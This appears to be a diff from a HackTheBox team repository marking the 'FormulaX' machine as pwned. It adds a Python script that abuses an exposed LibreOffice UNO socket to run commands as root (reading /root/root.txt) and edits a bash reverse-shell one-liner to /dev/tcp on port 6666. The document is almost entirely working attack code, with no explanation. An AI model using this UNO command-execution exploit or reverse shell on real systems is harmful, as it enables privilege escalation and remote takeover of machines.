HackTheBox https://app.hackthebox.com/teams/overview/6429 FormulaX pwned :)

Author: gris

modules/ooficesod0woodo.py

@@ -0,0 +1,16 @@
+#!/usr/bin/env python3
+import uno
+from com.sun.star.beans import PropertyValue
+
+local = uno.getComponentContext()
+
+resolver = local.ServiceManager.createInstanceWithContext(
+    "com.sun.star.bridge.UnoUrlResolver", local
+)
+context = resolver.resolve(
+    "uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
+)
+rc = context.ServiceManager.createInstanceWithContext(
+    "com.sun.star.system.SystemShellExecute", context
+)
+rc.execute("/usr/bin/cat", "/root/root.txt", 1)

sessions/download_resources.sh

@@ -1,2 +1,2 @@
 #!/bin/bash
-bash -c "bash -i >& /dev/tcp/10.10.14.27/6666 0>&1"
+bash -c "bash -i >& /dev/tcp/10.10.14.6/6666 0>&1"